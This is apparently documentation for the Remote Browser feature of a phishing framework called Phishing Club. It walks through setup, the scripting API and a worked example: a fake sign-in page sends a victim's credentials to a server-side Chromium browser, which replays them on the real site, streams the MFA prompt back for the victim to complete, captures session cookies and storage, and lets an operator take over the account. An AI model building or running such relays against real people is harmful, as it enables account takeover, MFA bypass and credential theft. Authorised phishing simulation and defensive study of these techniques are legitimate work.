Remote Browser

Overview

The architecture consists of:

• The phishing page is a static page served to the victim. It has no knowledge of the target site. You send events using rb.send(), and reacts to events coming back from the script using rb.on(). You design this page and its flow entirely yourself.
• Remote Browser Script It receives events from the phishing page and decides what to do in the remote browser and which events to send back to the phishing page.
• The server side browser is a CDP-compatible browser (Chrome, Edge, Brave, or any other Chromium based browser) running on the Phishing Club host or a remote container.

Bot detection and configurations for popular targets

By default, the remote browser is detectable. No major bypass configuratons are baked in.

Bypassing bot detection is not a goal of this project. Phishing Club gives you the framework and you implement the bypass yourself. What works changes frequently and might be specific to the target.

Phishing Club does not provide any configurations for targets such as Microsoft or Google.

How It Works

1. The recipient visits your phishing page. Phishing Club renders the page and replaces {{RemoteBrowserScript "name"}} with a WebSocket client script bound to that recipient's session ID.
2. The injected script opens a WebSocket connection to the Phishing Club backend and sends the victim's viewport dimensions. The connection remains open for the lifetime of the session.
3. The backend locates the saved script by name, starts a runner, and begins executing the JavaScript. The phishing page is now waiting for instructions; the script is waiting for events.
4. When the victim interacts with the phishing page (submitting a form, clicking a button), the page can call rb.send("event", data). This sends events over WebSocket to the script.
5. The script receives the event via waitForEvent() or an s.on() handler, performs the corresponding action in the real browser (navigating, typing, clicking), and reads the result.
6. The script calls emit("event", data) to send a response back to the phishing page. The phishing page's rb.on() handler fires and updates the UI: showing the next step, displaying a message, or revealing a new form.
7. This exchange continues until the script calls s.capture() to extract cookies and storage, which records a capture event in the campaign log.
8. The script can then call s.keepAlive() to hold the browser available for operator takeover, or call s.close() to end the session.

Enabling the Feature

Remote Browser is disabled by default. To enable it, set enabled: true in the remote_browser block of config.json:

"remote_browser": {
  "enabled": true,
  "binary_path": "/usr/bin/chromium-browser"  // optional
}

If binary_path is not set, Phishing Club will automatically download a compatible Chromium build on first use. The first session will not start until the download and setup process completes — follow the server logs to track progress and confirm everything succeeds before expecting the browser to launch.

The downloaded Chromium binary depends on shared system libraries that may not be present on minimal or headless server installs. If the browser fails to start, enable chromeDebug: true in newSession() to surface the raw Chrome process output, which will list any missing libraries. On Debian/Ubuntu the typical missing packages are installed with:

apt-get install -y   libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2   libdrm2 libxkbcommon0 libxcomposite1 libxdamage1   libxfixes3 libxrandr2 libgbm1 libasound2

On systems where AppArmor restricts unprivileged user namespaces, Chromium cannot create the namespaces it needs for its internal sandbox. The Chrome process output will contain:

No usable sandbox!

To lift the restriction for the current boot:

sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0

To make the change persistent across reboots, create /etc/sysctl.d/99-chrome-sandbox.conf with the following content and then run sysctl --system:

kernel.apparmor_restrict_unprivileged_userns=0

Creating a Script

Navigate to Remote Browsers in the sidebar and click New.

1. Name (Required): A unique name used to reference this script from page templates.
2. Description (Optional): Short description.
3. Script (Required): The Remote Browser script.
4. Configuration: Browser settings configured through the Config tab.
   Use Local mode for production campaigns and Remote mode when developing scripts against a browser you already have running.

After creating a script you can test it directly from the editor. The test runner executes the script and streams log messages, events, and screenshots to the editor panel in real time. The test run also registers as a live session, so you can open a stream view from the session panel while it runs.

Testing

When running a Run / Test you can click View and Control to directly view, interact and send events to the remote browser.

Configuration

Configuration is set through the Config tab in the script editor. The fields available depend on the selected browser mode.

Browser Mode

The mode toggle switches between two ways of launching the browser:

• Local spawns a new browser process on the Phishing Club host for each session. This is the mode to use for production campaigns.
• Remote connects to a Chrome instance you launch and configure yourself. Each call to newSession() opens a new tab in that shared browser. This is the right mode for script development and testing: point it at a browser on your local machine so you can watch the automation happen live. Because all sessions share the same browser process, remote mode is not suitable for production campaigns with multiple simultaneous victims. Any CDP-compatible browser works: Chrome, Chromium, Edge, Brave, and others.

Local Mode Fields

Remote Mode Fields

Timeout

The Timeout field (in minutes, default 5) sets a global deadline for the entire script. When the deadline is reached, the script is cancelled and the browser is closed. Set a longer timeout for flows that depend on slow victim interaction.

Script API

Scripts run in an ECMAScript 5.1-compatible JavaScript VM. All API calls are synchronous and blocking. Each call waits for the operation to complete before the next line executes.

There is no event loop. setTimeout and setInterval are not available.

Global Functions

Session Methods

newSession() returns a session object. All selectors use CSS query syntax.

Navigation

Waiting

All wait* methods search the main page document and all iframes automatically, including cross origin iframes (OOPIFs such as reCAPTCHA, Google Sign-In, and other embedded third party widgets). An optional trailing options object controls the scope:

// default: search main page + all iframes
s.waitVisible("#g-recaptcha-response");

// search only the main page
s.waitVisible("input[name='email']", { frames: false });

// search only a specific iframe
s.waitVisible("input[name='identifier']", { frame: "iframe[src*='accounts.google.com']" });

Frame sessions

s.frame(selector) returns a frame session scoped to the <iframe> matching selector. Unlike the { frame: "sel" } wait option - which narrows a single wait call - a frame session lets you perform multiple operations inside one iframe without repeating the selector. Nested iframes are supported: call .frame() again on the returned frame session. Returns null if the iframe is not found or cannot be resolved.

// Access a Google Sign-In iframe directly
var googleFrame = s.frame("iframe[src*='accounts.google.com']");
if (googleFrame) {
  googleFrame.waitVisible("input[type='email']");
  googleFrame.sendKeys("input[type='email']", "victim@example.com");
  googleFrame.click("#identifierNext");
}

// Nested iframes
var outer = s.frame("#outer-frame");
if (outer) {
  var inner = outer.frame("#inner-frame");
  if (inner) { inner.sendKeys("#captcha-input", "abc123"); }
}

The frame session exposes the same DOM, waiting, and interaction methods as the main session. Methods not available on frame sessions: capture, keepAlive, close, on, listen, done, race, stream.

Race

s.race(conditions) polls DOM conditions, URL changes, and incoming victim events simultaneously and returns as soon as any condition is met. Each key in the conditions object is a label you choose; each value specifies what to wait for.

Returns { key, value } for whichever condition fires first. Events received during the race that do not match any condition are buffered and remain available to subsequent waitForEvent calls.

var r = s.race({
  password: { urlContains: '/challenge/pwd' },
  mfaOrPwd: { urlMatch: /\/challenge\/(pwd|totp)/ },
  emailErr: { visible: '[aria-invalid="true"]' },
  retry:    { event: 'retry_email' }
});
if (r.key === 'password') { ... }
if (r.key === 'emailErr') { emit('email_error', {}); }
if (r.key === 'retry')    { /* r.value is the event payload */ }

Mouse

Action methods (click, sendKeys, setValue, etc.) automatically search the main page and all iframes to find the target element. If the selector matches an element inside a cross origin iframe the action is dispatched into that iframe's document.

Keyboard

Forms

DOM

Screenshots and DOM Capture

Viewport and Emulation

Utility

Session Lifecycle

Cookie and Storage Capture

s.capture(opts?) extracts cookies and browser storage from the server side browser via CDP. The result is saved as a capture event in the campaign log (the same place proxy cookie captures appear) and returned to the script so it can inspect or forward the data.

s.capture({
    domains:        ["example.com"],     // filter cookies to these domains
    cookieNames:    ["session", "auth"], // keep only cookies with these names
    localStorage:   true,               // include localStorage (default: true, false if domains set)
    sessionStorage: true                // include sessionStorage (default: true, false if domains set)
});

Captured data can be imported into browsers using the Session Sushi extension, the same workflow as proxy cookie captures.

Live Streaming to the Phishing Page

The script can stream a cropped, live view of any element in the server side browser directly to the victim's phishing page as JPEG frames over WebSocket. This lets you show the victim real content from the target site (an MFA QR code, a CAPTCHA, a code entry field) without their browser ever connecting to it. The phishing page renders the frames on a <canvas> element and forwards mouse and keyboard input back to the server side browser. As the stream is a set of images and not a WebRTC stream is can be both costly in performance and laggy depending on what is being streamed.

// Start streaming a specific element to the phishing page
var handle = s.stream("div#mfa-container", "mfa", { maxFps: 10, quality: 80 });

// Stop when done
handle.stop();

Victim-side Integration

Template Function

Add this template function call anywhere in a phishing page to inject the remote browser client:

{{RemoteBrowserScript "remote-browser-script-name"}}

Phishing Club looks up the script by name within the current company context and renders a <script> tag bound to the recipients session. During template validation or preview the function renders as an empty string.

window.rb API

After the script tag loads, window.rb (alias window.remoteBrowser) is available on the phishing page with the following interface.

Session Lifecycle Events

The server automatically emits the following events to the phishing page when the session ends. Register handlers with rb.on() to redirect the victim or show a message when each condition occurs.

Example: Credential and MFA Capture

The victim submits credentials on the phishing page. The script replays them on the real site, waits for the MFA prompt, streams it into the phishing page so the victim completes it, then captures the authenticated session.

Phishing page (HTML)

<div id="step-login">
  <input id="inp-user" type="text" placeholder="Email" />
  <input id="inp-pass" type="password" placeholder="Password" />
  <button id="btn-login">Sign in</button>
</div>

<div id="step-mfa" style="display:none">
  <p>Complete the verification below.</p>
  <div id="mfa-canvas-host"></div>
</div>

{{RemoteBrowserScript "corp-sso"}}

<script>
document.getElementById("btn-login").addEventListener("click", function() {
  rb.send("credentials", {
    username: document.getElementById("inp-user").value,
    password: document.getElementById("inp-pass").value
  });
});

rb.on("mfa_required", function() {
  document.getElementById("step-login").style.display = "none";
  document.getElementById("step-mfa").style.display   = "block";
});

rb.on("stream_start", "mfa", function() {
  rb.mountStream("mfa", document.getElementById("mfa-canvas-host"), { autoSize: true });
});

rb.on("done", function() {
  window.location.href = "{{.URL}}";
});
</script>

Server-side script

var s = newSession();
s.navigate("https://sso.corp.example/login");
s.waitVisible("input[name='email']");

var creds = waitForEvent("credentials");
s.sendKeys("input[name='email']", creds.username);
s.click("button[type='submit']");

s.waitVisible("input[name='password']");
s.sendKeys("input[name='password']", creds.password);
s.click("button[type='submit']");

// MFA prompt appeared - stream it to the phishing page for the victim to complete
s.waitVisible("div.mfa-prompt");
emit("mfa_required", {});
var mfaStream = s.stream("div.mfa-prompt", "mfa", { maxFps: 15 });
s.waitNotPresent("div.mfa-prompt");
mfaStream.stop();

s.waitVisible("div.dashboard");
s.capture({ domains: ["corp.example"] });
emit("done", {});
s.close();

Live Sessions

When a recipient's script is running, the campaign detail page polls for active sessions every five seconds and shows a Remote column in the recipients table. A badge on each row indicates whether the victim's browser tab is still open and connected.

The following actions are available on a live session:

• View: Opens a read-only stream of the server side browser's active tab. You can watch what the browser is doing in real time without sending any input.
• Control: Opens the same stream in control mode. Mouse clicks, movement, scroll, and keyboard input on the stream canvas are forwarded to the server side browser, allowing you to take over the session manually.
• Terminate: Cancels the script context, closes the browser, and ends the victim's WebSocket connection.

View and Control are only available once the script has called newSession() and the browser context is ready. A script that calls s.keepAlive() holds the browser open indefinitely for operator takeover. Test runs launched from the editor also register as live sessions and can be viewed while the test is in progress.

Tab management

When the victim (or the script) opens a new tab, the stream automatically switches to it. A tab bar appears above the URL bar whenever more than one tab is open, showing the hostname of each tab. Clicking a tab switches the stream to it in both View and Control modes. Each tab has a × button to close it; closing a tab that was active automatically switches the stream to another open tab.

Upgrading from 1.35

Installations upgrading from 1.35 must update the systemd service file before Remote Browser will work. Three hardening directives that block Chromium were removed or relaxed in 1.36:

1. Open the service file:

systemctl edit --full phishingclub

2. Update the relevant lines so they match:

RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictRealtime=true
RestrictSUIDSGID=true

Remove the RestrictNamespaces and MemoryDenyWriteExecute lines entirely.

3. Reload and restart:

systemctl daemon-reload && systemctl restart phishingclub

New installations via the built-in installer are not affected.